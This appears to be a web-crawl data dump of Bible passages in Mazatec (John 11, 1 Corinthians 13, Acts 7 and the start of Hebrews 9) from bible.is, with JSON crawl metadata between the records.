xi̱ta̱ xi kota'yàt'aà‑la̱. 55Jyeé nchrobá machrañà s'eí Paxko̱ ts'e̱ xi̱ta̱ judío. K'e̱ nga ti̱kj'eè mats'ia̱ s'eí, kjìn xi̱ta̱ kiì ján Jerusalén nga kiì sítsjeèya yijo‑la̱ koni s'ín tjín kjo̱tíxoma‑la̱ xi xkón tjín. 56Xki̱ xi ján tsohótsji Jesús. K'e̱ nga títsa̱jna ya̱ ndi̱tsin i̱ngo̱, kitsò‑la̱ xíkjín: ―¿Kó bixón? ¿A kjoi̱í s'eí Paxko̱, o xi majìn‑né? 57Jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ fariseo, k'oa̱á s'ín kitsjaà o̱kixi̱ tsà yá xi skoe̱xkon ñánda tíjna Jesús, kàtèno̱jmí mé‑ne nga tso̱ba̱'ñó‑ne.\nSan Juan 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/11","date":"2013-12-12T17:11:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164647809\/warc\/CC-MAIN-20131204134407-00062-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"maa_Latn_score\": 1.0000064373016357}","num_words":1012,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.274,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tsa kjìn ndi̱yá tjín‑ni 'én ra chjàa̱ ra ta 'a̱n fìya‑na, ko̱ tsa skanda ma‑na chjàa̱ 'én ra chja̱ jñà ìkja̱li̱, tanga tsa mí tsjake̱‑naa̱ xi̱ta̱ ra kj'ií, mí‑la tsa mé chjí‑la̱ jñà 'én ra chjàa̱; 'koa̱à‑la 'sín 'ki‑na koni tsa jngo ki̱cha̱ ra faháya‑la̱, ko̱ koni jngo chro̱ba̱ ra tsján fane. 2Tsa maá‑na nga nda chjà ngajo‑la̱ Nainá ko̱ tsa ndaá fìya ijye‑na kó'sín tjín nga'tsì kjoa̱ ra jè Nainá tjí'ma‑la̱, tsa 'ñó tjín‑na ra 'mì kjoa̱chji̱ne̱, ko̱ tsa ti̱'koa̱á 'ñó nda makjiín‑na a̱'ta 'tse̱ Nainá nga skanda maá‑na sijtíya‑la̱ jñà nindo; tanga tsa mì tsjake̱‑naa̱ xi̱ta̱ ra kj'ií, ni̱ ta mé‑la chjí‑ina. 3Tsa maá‑na tsja ijye nga'tsì tsajmì ra tjín‑na nga katakjèn jñà ra xi̱ta̱ i̱ma̱, ko̱ tsa skanda tsja‑náa̱ ijo‑na̱ nga katatì ya̱ a̱jin ni'í, tanga tsa mì tsjake̱‑naa̱ jñà xi̱ta̱ ra kj'ií, takó ni̱mé ra sikíjne. 4Jè ra tsjake xi̱ta̱ ra kj'ií, maá‑la̱ koñákjoa̱; 'ñó nda xi̱ta̱ 'sín; mì tsa maxitakòn‑jìn; mì tsa jè nda síkíjna ijo‑la̱; ko̱ mì tsa 'nga fìko̱ kjo̱bítsjen‑la̱; 5mì tsa ta 'sín ta ma‑jìn; mì tsa ta kjo̱nda 'tse̱ bátsji; mì tsa sasa majti‑la̱ ko̱ mì tsa ya̱ bíjin takòn ki'ta mé kjoa̱ ra ma'tin; 6ti̱'koa̱á mì tsa matsjajin‑la̱ 'kia̱ nga mé kjoa̱'cho ra 'sín xi̱ta̱; tanga jè, tsjaá 'se‑la̱ a̱'ta 'tse̱ kjoa̱kixi̱ ra 'sín xi̱ta̱; 7Jngo xi̱ta̱ ra tsjake jñà xi̱ta̱ ra kj'ií, mì tsa jè fì‑ni mé kjoa̱ ra tjín‑la̱ xi̱ta̱, mì tsa chi̱ba̱ tjín‑la̱ kó'ki nga makjiín‑la̱, kó'ki nga sko̱óña kjoa̱ ko̱ kó'ki nga chíkjoa̱jin‑la̱ ta mé kjoa̱‑ni. 8Jngo xi̱ta̱ ra tsjake jñà xi̱ta̱ ra kj'ií, 'koa̱á 'sín 'ki ko̱ma ki'ta. Tanga ki̱jchó ni̱chjin nga mì ti̱ yá ra 'se̱‑ni ra ki̱chja̱ ngajo‑la̱ Nainá, nga mì ti̱ yá ra ki̱chja̱‑ni 'én ra kj'ií tsò, ti̱'koa̱á mì ti̱ yá ra tjábé‑la̱ kjo̱bítsjen ra tjí'ma‑la̱ Nainá. 9Ta nga̱tjì‑la̱, kjè tsa nda 'ya ijyeé kjo̱bítsjen ra tjí'ma‑la̱ Nainá, ko̱ kjè kì tsa nda nakjoá ngajo‑lá Nainá koni 'ki tjínè‑la̱ nga ki̱nákje̱é. 10Tanga 'kia̱ nga ki̱jchò ni̱chjin nga ki̱tjasòn kjo̱bítsjen‑la̱ Nainá nga ni̱ì‑ti̱‑mé jchi̱ja'ta‑la̱, ya̱á kje̱he'tà jè ra ta chiba machi̱ya‑ná 'ndi̱‑ni̱. 11'Kia̱ nga ti̱'sa̱ i̱tsé‑na, 'koa̱á 'sín chjàa̱ ko̱ 'koa̱á 'sín síkítsjen, ti̱'koa̱á 'koa̱á 'sín machi̱ya‑na koni tsa jngo ndí ti i̱tsé; tanga 'kia̱ nga ijye kjójchíngaa̱ kítsjin‑náa̱ nga'tsì ra kjoa̱ 'tse̱ i̱xti. 12'Ndi̱‑ni̱, ta 'koa̱á 'sín tsijen‑ná Nainá koni tsa 'kia̱ nga chi'sén jngeé chi̱tsín ra ijye tímaxa̱. Tanga ki̱jchò ni̱chjin nga nda kjón jchí'én Nainá. 'Ndi̱ 'ndi̱, ta chibaá tjín‑ni koni 'sín nga fìya‑na, tanga tíjna jngo ni̱chjin nga ske kjòo̱n kó'sín nga jè Nainá tsijen‑la̱ ra a̱'ta tsa̱'a̱n. 13'Ndi̱ 'ndi̱, ján tjín‑ni kjoa̱ ra tjítsa̱jna ki'ta: Jè kjoa̱ nga makjiín‑ná a̱'ta 'tse̱ Nainá, jè kjoa̱ nga tjíjngo takén nga chiñá‑lá jè kjo̱nda ra tsjá‑ná Nainá, ko̱ jè, kó'sín nga tsjacheé xi̱ta̱ ra kj'ií. Tanga jè ra tíjna ítjòn kjòn‑nì, jé‑ní kó'sín nga tsjacheé xi̱ta̱ ra kj'ií.\n1 Corintios 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Cor\/13","date":"2013-12-05T13:34:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163045217\/warc\/CC-MAIN-20131204131725-00031-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":469,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.337,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè xi̱ta̱ sko̱‑la̱ no̱'miì kiskònangui‑la̱ Esteban kitsò‑la̱: ―¿A kixi̱í kjoa̱ nga k'oa̱ tjín jé xi ónè‑lè xi̱ta̱? 2Jè Esteban kitsò: ―'Ndsè, ko̱ xi xi̱ta̱ jchínga 'mì‑nò, ti̱ná'ya‑ná: Jè Nainá, xi 'ñó jeya tíjna, ya̱á ijchòkon ñánda tíjna xi̱ta̱ jchínga‑ná Abraham k'e̱ nga tákó ya̱ tíjna Mesopotamia, k'e̱ nga ti̱kj'eè bijchó kijna ján na̱xa̱ndá Harán. Ko̱ jè Abraham kijtseè tsejèn‑né kó kji Nainá. 3K'e̱é kiìchja̱ Nainá, kitsò‑la̱: \"Titjo̱jiìn nangui‑lè; ti̱kítsajnei xi̱ta̱ xingui̱i; t'in ki̱jni ya̱ nangui ñánda 'a̱n kokoò‑lè.\" 4Jè Abraham, itjokàjiìn nangui‑la̱ xi̱ta̱ Caldea; ján kiì kíjna nangui Harán. K'e̱ nga k'en na̱'èn‑la̱, Nainá j'iìko̱ i̱ i̱'nde jè ñánda titsa̱jnaá i̱'ndei̱. 5Nainá, ni̱mé i̱'nde kitsjaà kjo̱tjò‑la̱; ni̱ tsà tà i̱tsé ñánda ko̱sìjnasòn jngoò ndso̱ko̱. Ta̱nga k'oa̱á s'ín kitsjaà‑la̱ tso'ba nga kitsò‑la̱ nga ts'e̱é ko̱ma ko̱ ts'e̱é xi̱ta̱ tje̱‑la̱ ni̱ta̱ mé na̱chrjein‑ne. Na̱chrjein koi, kj'eè i̱xtií tjín‑la̱ jè Abraham. 6Nainá k'oa̱á s'ín kitsò‑ìsa̱‑la̱: \"Jñà tje̱‑lè, xi̱ta̱ chi̱'ndaá ko̱ma; ñijòn sìndo̱ nó xìn na̱xa̱ndá si̱ìjchá yijo‑la̱ nga si̱ìkjeiín kjo̱'in.\" 7Nainá kitsò: \"'A̱án tsjaà‑la̱ kjo̱'in jè na̱xa̱ndá ñánda chi̱'nda kítsa̱jna; k'e̱ nga ko̱ma i̱skan, ki̱tjokàjiìn‑né nangui jè. Kji̱nchrobà ìjngoò k'a‑ne i̱jndé, ko̱ i̱í i̱'nde jè, skoe̱xkón‑na.\" 8Nainá jngoò kjoa̱ tsibíndaàjiìn‑ko̱ Abraham nga si̱t'aà chi̱ba̱‑la̱ yijo‑la̱ xi̱ta̱ kjoa̱ ts'e̱ circuncisión. Abraham, kis'e jngoò‑la̱ ki'ndí xi Isaac ki'mì; k'e̱ nga ijchò jiìn na̱chrjein nga kits'iìn, tsibít'aà chi̱ba̱‑la̱. Isaac kis'e‑la̱ ki'ndí xi 'mì Jacob; k'oa̱á ti̱s'ín kisìko̱. Jacob, kis'e‑la̱ i̱xti xi tejò ma‑ne tje̱‑la̱ xi̱ta̱ jchínga‑la̱ na̱xa̱ndá Israel. K'oa̱á ti̱s'ín tsibít'aà chi̱ba̱‑la̱. 9'Jñà i̱xti‑la̱ Jacob, xi xi̱ta̱ jchínga‑ná, kjòxìtakòn‑keè jè 'ndse̱ xi 'mì José; i̱kjoàn tsatíjna nga kiìko̱ xi̱ta̱ xi tsatse ján nangui Egipto. Ta̱nga Nainá kisìkinda̱ José. 10Nainá kisìchját'aà‑la̱ ni̱ta̱ mé kjoa̱ xi kis'e‑la̱ José. Kitsjaà‑la̱ kjo̱hítsjeèn, kitsjaà‑la̱ kjo̱ndaà nguixko̱n faraón xi xi̱ta̱xá ítjòn tíjna ján na̱xa̱ndá Egipto. Jè Faraón kisìkíjna José nga jè tsatíxoma‑la̱ na̱xa̱ndá Egipto, ti̱koa̱ jè tsatíxoma ni'ya‑la̱ faraón. 11'Jñà na̱chrjein koi j'iì kjinchrá kóho̱kji nangui Egipto ko̱ i̱'nde Canaán; tseé kjo̱'in kis'e‑la̱ xi̱ta̱; jñà xi̱ta̱ jchínga‑ná tsjìn tsojmì xi kine. 12K'e̱ nga kiì'nchré Jacob nga tjín tsojmì xi ma chine ján Egipto kisìkasén nga kiìkjaá ítjòn tsojmì i̱xti‑la̱ jñà xi xi̱ta̱ jchínga‑ná. 13Xi komà jò k'a nga kiìkjaá tsojmì, José tsakó‑la̱ yijo‑la̱ xíkjín nga 'ndse̱ ma‑ne. Faraón k'oa̱á s'ín komà‑ne kijtseèxkon, ñánda nchrobát'aà‑ne tje̱‑la̱ José. 14José kiskinìkjaá Jacob xi na̱'èn‑la̱ ma nga kji̱tji̱ngui‑la̱ ján Egipto. Ngats'iì xi̱ta̱ xíkjín, jàn kaàn ko̱ chrj'oòn ma‑ne. 15K'oa̱á s'ín komà‑ne nga kiì Jacob ján Egipto; ya̱á k'en; ti̱koa̱á ya̱á k'en ngats'iì i̱xti‑la̱ jñà xi xi̱ta̱ jchínga‑ná. 16Xi komà i̱skan, kiìko̱ nindaà‑la̱ Jacob ko̱ ts'e̱ ti‑la̱ nga kiì kíhijiìn jngoò nga̱jo̱ i̱tsjó ján Siquem; i̱'nde ñánda tsatse Abraham xi tsatíjna i̱xti‑la̱ Hamor. 17'K'e̱ nga jye kjòchrañà na̱chrjein nga ki̱tasòn 'én koni s'ín kitsjaà tso'ba Nainá koni s'ín tsajoókjoò Abraham, jè na̱xa̱ndá Israel, 'ñó kòkjìn‑ya jñà xi̱ta̱‑la̱ ján Egipto. 18Ijchò na̱chrjein nga ìjngoò xi̱ta̱ kisakò xi xi̱ta̱ sko̱‑la̱ tsibìjna ján Egipto; ta̱nga xi̱ta̱ jè, mìkiì beèxkon José. 19Xi̱ta̱xá ítjòn jè, tsibíts'ia̱ nga kiskoòna̱cha̱n‑la̱ xi̱ta̱ jchínga‑ná nga kijtseètoòn; kis'iìn‑la̱ kjo̱'ñó nga kitsjeiìn takòn ngats'iì ndí i̱xti‑la̱ mé‑ne nga kàtiyaà yije‑ne nga kàtachija tje̱‑ne. 20Ti̱jñà‑ne na̱chrjein koi, kits'iìn Moisés. Ki'ndí jè, 'ñó ndaà kji i̱sén‑la̱. Jàn sá kisìkíjna'ma ni'ya‑la̱ xi̱ta̱ jchínga‑la̱. 21K'e̱ nga ijchò síkíjna i̱jiìn nandá, jè tsòti‑la̱ faraón kiskoétjò, kisìjchá koni tsà ki'ndí ts'e̱. 22Jè Moisés kiskoòta'yà ngats'iì kjoa̱chji̱ne̱ xi tjín Egipto. 'Ñó ndaà kjo̱hítsjeèn xi kis'e‑la̱, ndaà kiìchja̱ ti̱koa̱ ndaà kis'iìn. 23'Moisés, k'e̱ nga jye tjín‑la̱ ichán nó k'oa̱á s'ín tsi'beé‑la̱ ikon nga mejèn kiìkon xi̱ta̱ na̱xa̱ndá Israel xíkjín. 24Moisés, k'e̱ nga kijtseè nga ch'o tínìko̱ jngoò xi̱ta̱ Israel xíkjín, tsasìko̱ nga kisìk'en xi̱ta̱ Egipto mé‑ne nga kòjndà‑ne. 25Moisés, k'oa̱á s'ín tísíkítsjeèn, maá‑la̱ tsà tímachi̱yaá‑la̱ jñà xi̱ta̱ Israel xíkjín nga jè Moisés si̱ìkjeén Nainá nga si̱ìkítsa̱jnandei̱í; ta̱nga jñà xi̱ta̱ Israel mìkiì kjòchi̱ya‑la̱. 26K'e̱ nga komà inchijòn, Moisés kijtseè jò xi̱ta̱ Israel xi nchikjaán‑kjoò, mejèn‑la̱ ko̱tekjáya‑la̱, kitsò‑la̱: \"Jñò xi 'ndsè chiba, ¿mé‑ne bixkàn‑ko̱‑nò xinguio̱o?\" 27Jè xi̱ta̱ xi tíkjaán‑ko̱ xíkjín, k'e̱é kiì jahi̱tje̱n Moisés, kitsò‑la̱: \"¿Yá xi xi̱ta̱xá kàsíkíjna‑lè ko̱ xi ixkàle̱ kàtsò‑lè xi i̱t'aà tsa̱je̱n? 28¿A ti̱koa̱á mejèn‑lè nga si̱k'en‑ná koni s'ín kinìk'in ngojña̱ jè xi̱ta̱ Egipto?\" 29Moisés, k'e̱ nga kiì'nchré 'én koi, tsanga‑né; ján kiì kíjna i̱'nde ñánda 'mì Madián. K'oa̱á s'ín tsibìjna koni jngoò xi̱ta̱ xi kjiìn i̱'nde‑la̱; jò i̱xti kis'e‑la̱. 30'K'e̱ nga jye ijchò ichán nó nga tíjna Madián, Moisés, tsatsejèn jngoò‑la̱ àkja̱le̱‑la̱ Nainá xi ya̱ síjnajiìn ni'ín ñánda títì jngoò yá na'yá ya̱ chrañàt'aà‑la̱ nindoò Sinaí, ya̱ i̱'nde i̱t'aà xìn ñánda nangui kixì choòn. 31Moisés, k'e̱ nga tíkotsejèn‑la̱ jè yá na'yá xi títì, tà kjòxkón‑la̱ koni s'ín tíma; k'e̱ nga ìsa̱ chrañàt'aà kiì kasìjna nga ìsa̱ ndaà skoe̱, kiì'nchré jta̱‑la̱ Nainá nga kiìchja̱‑la̱, kitsò: 32\"'A̱n‑ná xi Nainá tsò‑na xi̱ta̱ jchínga‑lè, Nainá tsò‑na Abraham, ko̱ Isaac, ko̱ Jacob.\" Ta̱nga jè Moisés tà tsatsé‑né nga 'ñó kitsakjòn, mìkiì kitsò‑ikon nga kiskoòtsejèn‑la̱. 33Jè Nainá kitsò‑la̱ Moisés: \"Chja̱àxìn xo̱jté xi titsjayi; jè i̱'nde ñánda tisìjnasoìn, i̱'nde tsjeè‑né. 34Ndaà tìbe kjo̱'in xi nchisíkjeiín xi̱ta̱‑na̱ xi títsa̱jna Egipto. Jyeé ki'nchrè‑la̱ nga nchihojét'aà‑na; koií xá kòbitjojen‑na nga siìkítsa̱jnandia̱á. Koií xá tìchjà‑lè, nchroboí, ján siìkasén‑lè Egipto.\" 35'Jñà xi̱ta̱ Israel na̱s'ín tsachrjekàngui Moisés k'e̱ nga kitsò‑la̱: \"¿Yá xi xi̱ta̱xá kàsíkíjna‑lè ko̱ xi ixkàle̱ kàtsò‑lè?\", ta̱nga jè sobá Nainá kisìkasén ján na̱xa̱ndá Egipto koni jngoò xi̱ta̱xá ítjòn xi kisìkítsa̱jnandei̱í xi̱ta̱ Israel. Nainá kisìkjeén jè àkja̱le̱ xi tsatsejèn‑jiìn yá na'yá xi títì. 36Jé Moisés xi tsachrjekàjiìn xi̱ta̱ Israel ján na̱xa̱ndá Egipto. Nainá kisìkjeén Moisés nga 'ñó kjìn kjo̱xkón kis'iìn kóho̱kji Egipto, ko̱ ya̱ Ndáchikon Inì, kóho̱kji ñánda nangui kixì choòn nga ichán nó chinchimaya ndi̱yá. 37Ti̱jè‑ne Moisés xi kitsò‑la̱ jñà xi̱ta̱ Israel: \"Nainá ko̱chrjekàjiìn jngoò xi ti̱ xi̱ta̱ xinguio̱o‑nò, jè xi ki̱chja̱ ngajo‑la̱ Nainá koni 'a̱n.\" 38Ti̱koa̱á ti̱jè‑ne Moisés xi tsibìjnako̱ xi̱ta̱ na̱xa̱ndá Israel ya̱ ñánda nangui kixì choòn, jè xi tsohóko̱ àkja̱le̱ ya̱ nindoò Sinaí, jè xi tsajmeiìko̱ xi̱ta̱ jchínga‑ná nga kisìkatoya‑la̱ 'én xi kitsjaà‑la̱ àkja̱le̱; ti̱koa̱á ti̱jè‑ne xi kitjoé‑la̱ 'én‑la̱ Nainá xi síkíjnakon‑ná mé‑ne komà kisìkatoya‑ná jñà 'én. 39'Ta̱nga jñà xi̱ta̱ jchínga‑ná, tsachrjenguií 'én xi kitsjaà Moisés, mìkiì kisìkitasòn. K'oa̱á s'ín kisìkítsjeèn i̱jiìn ini̱ma̱‑la̱, mejèn kiì ìjngoò k'a‑ne ján Egipto. 40Kitsò‑la̱ jè Aarón: \"Tìndaà i'nga‑ná nainá xi kji̱ko̱‑ná. Jè Moisés xi tsachrjekàjiìn‑ná ján nangui Egipto, mìkiì 'yaá mé xi komà‑la̱.\" 41K'e̱é tsibíndaà jngoò xkósòn xi nainá kitsò‑la̱ xi i̱sén‑la̱ nchra̱ja̱ ki'ndí kji; kisìk'en cho̱ kjo̱tjò xi kitsjaà‑la̱ jè nchra̱ja̱ nga kijtseèxkón, i̱kjoàn tsibíjna jngoò‑la̱ s'eí xi i̱t'aà ts'e̱ xkósòn xi ti̱jñà tsibíndaà‑ne. 42Koií kjoa̱‑la̱ tsasìt'aàxìn Nainá i̱t'aà ts'e̱ xi̱ta̱ Israel. Kitsjaà'nde‑la̱ nga kijtseèxkón yije ni'ño xi tjín ngajmiì. K'oa̱á s'ín tíchja̱ jè xo̱jo̱n xi kiskiì jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá nga tsò: Jñò xi xi̱ta̱ na̱xa̱ndá Israel tsa̱jòn, k'e̱ nga ichán nó tsitjaàyaà ndi̱yá ya̱ ñánda nangui kixì choòn, ko̱ kinìk'eèn cho̱ nga mejèn‑nò kits'iì kjo̱tjò‑ná, mìtsà 'a̱n kiyaxkón‑ná. 43Majìn, ta̱ sa̱á kichijeèn ni'ya nikje‑la̱ Moloc, ko̱ ni'ño ts'e̱ Renfán xi nainá 'mì‑là; jñà i̱sén xi ti̱jñò tsibìndaà‑nò nga kiyaxkón. Koií kjoa̱‑la̱ nga ko̱chrjekàjiìn‑nò i̱'nde tsa̱jòn. Ján siìkasén‑nò ñánda nga ìsa̱ kjiìn‑la̱ Babilonia. 44'Ya̱ ñánda nangui kixì choòn, jñà xi̱ta̱ jchínga‑ná kis'e‑la̱ Ni'ya Tsjeè xi nikje ñánda kjiyijòya kjo̱tíxoma‑la̱ Nainá. K'oa̱á s'ín kisindaà koni s'ín tsatíxoma‑la̱ Nainá jè Moisés k'e̱ nga kitsò‑la̱ nga kàtíndaà jngoò ni'ya koni kji i̱sén‑la̱ ni'ya xi jye jè tsakó‑la̱. 45Ni'ya tsjeè jè xi nikje, jñà xi̱ta̱ jchínga‑ná kjònga̱tsja; jñà xi̱ta̱ Israel xi tji̱ko̱ Josué, j'iìko̱ ni'ya jè, k'e̱ nga jahas'en nangui i̱jndé ñánda Nainá kitsjaà‑la̱ ko̱ tsachrjekàjiìn nangui‑la̱ jñà xi̱ta̱ na̱xa̱ndá xi kj'ei̱í. Ni'ya jè, ya̱á kisijna skanda na̱chrjein ts'e̱ xi̱ta̱xá ítjòn xi David ki'mì. 46Nainá, 'ñó ndaà kisaseèn takòn David. Ko̱ jè David mejèn‑la̱ koi̱ìndaà jngoò‑la̱ ni'ya ñánda jeya kíjna Nainá xi beèxkón jñà xi̱ta̱ tje̱‑la̱ Jacob. 47Ta̱nga jè xi̱ta̱xá ítjòn xi ki'mì Salomón, jè xi tsibíndaà jngoò‑la̱ ni'ya Nainá. 48Nainá xi 'ñó 'nga tíjna, mìtsà ya̱ tíjnaya ni'ya xi xi̱ta̱ bíndaà. Jè xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá kitsò: 49Jè ngajmiì, jè íxi̱le̱‑na̱ ñánda otiìxoma; jè i̱sò'nde, k'oa̱á ngaya‑la̱ koni jngoò ísko̱n ñánda nchasòn ndso̱koaà. ¿A ko̱maá‑nò nga kíndaà jngoò‑ná ni'ya ñánda siìkjáya? tsò Na̱'èn‑ná. 50¿A mìtsà 'a̱n sobà xi tsibìndaà yije tsojmì koi? 51Jè Esteban kitsò‑ìsa‑la̱: ―Jñò, kjit'aà na̱chrjein, 'ñó tájaàjiìn tjín ini̱ma̱‑nò, ko̱ mìkiì ndaà na'yà koni s'ín jñà xi mìtsà xi̱ta̱‑la̱ Nainá. Kjit'aà na̱chrjein kondra̱ onguí‑là Ini̱ma̱ Tsjeè‑la̱ Nainá koni kis'iìn jñà xi̱ta̱ jchínga‑nò. 52Ni̱jngoò xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá xi mì kondra̱ kiì‑la̱; kisìk'en jñà xi̱ta̱ xi j'iì kéno̱jmí i̱t'aà ts'e̱ jè xi̱ta̱ kixi̱ xi tjínè‑la̱ nga kjoi̱í. I̱'ndei̱, nga jye j'iì jè xi̱ta̱ kixi̱, ya̱á kinìnga̱tsja jñà xi̱ta̱xá nga kisìk'en. 53Jñò, na̱s'ín i̱t'aà ts'e̱ àkja̱le̱‑la̱ Nainá kitjoé‑nò kjo̱tíxoma, ta̱nga mìkiì nìkitasòn. 54K'e̱ nga kiì'nchré 'én xi kiìchja̱ Esteban, 'ñó jti komà‑la̱ i̱jiìn ini̱ma̱‑la̱, chi̱ba̱‑la̱ kinenè ni̱'ño̱ xi kondra̱ ts'e̱ Esteban. 55Jè Esteban, 'ñó ndaà tíjiìn ini̱ma̱‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. Kiskoòtsejèn ngajmiì; kijtseè kjoa̱jeya‑la̱ Nainá nga Jesús ya̱ síjnat'aà chrja kixi̱‑la̱ Nainá. 56Kitsò Esteban: ―Tíbe‑ná ngajmiì nga ti̱x'á; jè xi Ki'ndí‑la̱ Xi̱ta̱ tsò‑la̱ yijo‑la̱ ya̱á síjnat'aà chrja kixi̱‑la̱ Nainá. 57Ngats'iì xi̱ta̱ koi, tsibíchjoàjto líká‑la̱; i̱kjoàn 'ñó kiskindàya; jngoò k'a kiì kóho̱tjín nga jahatje̱n Esteban; 58tsachrjekàjiìn na̱xa̱ndá; ko̱ jñà xi̱ta̱ ndiso xi kitsját'in 'én xi kondra̱ kiì‑la̱ Esteban, ya̱á tsibítsa̱jnangui ndso̱ko̱ jñà nikje‑la̱ ñánda síjna jngoò xi̱ta̱ i̱xti xi 'mì Saulo mé‑ne nga komà tsibínè‑ne nda̱jo̱ nga kisìk'en. 59K'e̱ nga tísinè nda̱jo̱, Esteban tíchja̱t'aà‑la̱ Nainá, kitsò: ―Na̱'èn Jesús, chjoétjoì ini̱ma̱‑na̱. 60Esteban tsasìjna-xkó'nchi, i̱kjoàn 'ñó kiìchja̱ kitsò: ―¡Na̱'èn, kì kinda̱á 'nì jé‑la̱ xi̱ta̱ koi! K'e̱ nga jye o̱kitsò, k'en.\nHechos 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/7","date":"2013-12-20T13:28:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1387345771844\/warc\/CC-MAIN-20131218054931-00015-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"maa_Latn_score\": 1.0000067949295044}","num_words":1517,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.271,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè kjoa̱ xi tsibíndaàjiìn ítjòn Nainá kis'eé‑la̱ kjo̱tíxoma kós'ín ma nga jeya nìkíjnaá Nainá ko̱ kis'e jngoò‑la̱ ni'ya tsjeè i̱ i̱t'aà nangui. 2Jè Ni'ya Tsjeè‑la̱ Nainá xi nikje, k'oa̱á s'ín tjíndaà nga jngoò i̱'nde tíjna ítjòn xi 'mì I̱'nde Tsjeè, ñánda tíjna ki̱cha̱ xi tìya ni'ín ko̱ ñánda tíjna ími̱xa̱ xi nchasòn i̱nchra̱jín tsjeè‑la̱ Nainá. 3Jè nikje cortina xi ma jò‑ne xi tjo̱bá jngoò osen ni'ya nikje, ya̱ i̱jto̱n kjijna i̱'nde xi 'mì I̱'nde xi ìsa̱ 'Ñó Tsjeè. 4I̱'nde jè, ya̱á kjijna jngoò kaxa̱ xi nguì oro ñánda tìsòn chrjongó‑la̱ Nainá; ti̱koa̱ ya̱á kjijna kaxa̱ xi nguì oro yijàjno ts'e̱ kjoa̱ xi tsibíndaàjiìn Nainá. Kaxa̱ jè, tíjnaya jngoò ti̱jí ki̱cha̱ xi nguì oro ñánda 'ncha i̱nchra̱jín xi 'mì maná, ti̱koa̱ ya̱á kjinaya yá nise‑la̱ Aarón xi tsibíjts'én‑t'aà chrja‑la̱ ko̱ ya̱ 'ncha jñà nda̱jo̱ teè ñánda tjít'aà kjo̱tíxoma‑la̱ Nainá xi kitjoé‑la̱ Moisés. 5Ya̱ i̱sòn kaxa̱ 'ncha i̱sén‑la̱ àkja̱le̱ xi querubín 'mì xi tjín‑la̱ jnga̱á xi okó kjoa̱ jeya‑la̱ Nainá; jñà jnga̱á‑la̱ bíjtsa'ma jè kaxa̱. Ta̱nga i̱'ndei̱, jñà kjoa̱ koi, mìkiì mochjeén nga íjngó íjngó ska̱ya ko̱xki̱. 6K'e̱ nga jye k'oa̱s'ín kisinchaàndaà tsojmì koi, jñà no̱'miì, kjit'aà na̱chrjein fahas'en ya̱ Ni'ya Tsjeè‑la̱ Nainá xi nikje, jè i̱'nde xi tíjna ítjòn, nga síkitasòn xá‑la̱ nga beèxkón Nainá. 7Ta̱nga jè i̱'nde xi ma‑ne jò, ta jè ta̱jngoò no̱'miì ítjòn fahas'en jngoò k'a nga jngoò nó; k'e̱ nga fahas'en, tjínè‑la̱ nga jní‑la̱ cho̱ 'ba xi tsját'aà‑la̱ Nainá kjoa̱ xi ti̱ts'e̱‑ne jé‑la̱ ko̱ ngats'iì jé‑la̱ xi̱ta̱ na̱xa̱ndá, jñà xi mìkiì tíjiìn‑la̱ tsà jé ótsji. 8Jè Ini̱ma̱ Tsjeè‑la̱ Nainá k'oa̱á s'ín síkíchi̱ya‑ná, k'e̱ nga tákó jè tímochjeén Ni'ya Tsjeè xi nikje xi kisindaà ítjòn, kj'eè kiì táx'a̱'nde nga ko̱ma ki̱tjás'e̱én jè I̱'nde xi Ìsa̱ 'Ñó Tsjeè. 9Jñà kjoa̱ xi komà kjòtseé, tà kjoa̱ mangásòn‑né koni s'ín tíma na̱chrjein i̱'ndei̱; nga jñà kjo̱tjò ko̱ jní‑la̱ cho̱ xi kixíxteèn i̱'nde jè, tsjìn‑la̱ nga'ñó nga si̱ìtsjeè kjo̱hítsjeèn‑la̱ xi̱ta̱ xi k'oa̱s'ín beèxkón Nainá. 10Kjoa̱ koi, tà kjoa̱ ts'e̱é yijo‑la̱ xi̱ta̱, mé tsojmì xi ma chine ko̱ xi ma 'yò, koa̱ kós'ín sítsjeè yijo‑la̱ xi̱ta̱; tà k'oa̱á s'ín tje̱n ko̱chjeén skanda k'e̱ nga jè Nainá si̱ìkjatjìya‑la̱ ngats'iì kjoa̱ koi. 11Ta̱nga jyeé j'iì Cristo nga no̱'miì ítjòn tíjna i̱t'aà ts'e̱ kjo̱ndaà‑la̱ Nainá xi jye tíma. Ya̱á jahas'en Ni'ya Tsjeè‑la̱ Nainá jè xi ìsa̱ 'ñó ndaà choòn ko̱ xi ìsa̱ kixi̱ tjín, nga mìtsà tsja xi̱ta̱ kisindaà‑ne jè xi tsò‑ne kjoa̱ nga mìtsà i̱ i̱t'aà nangui 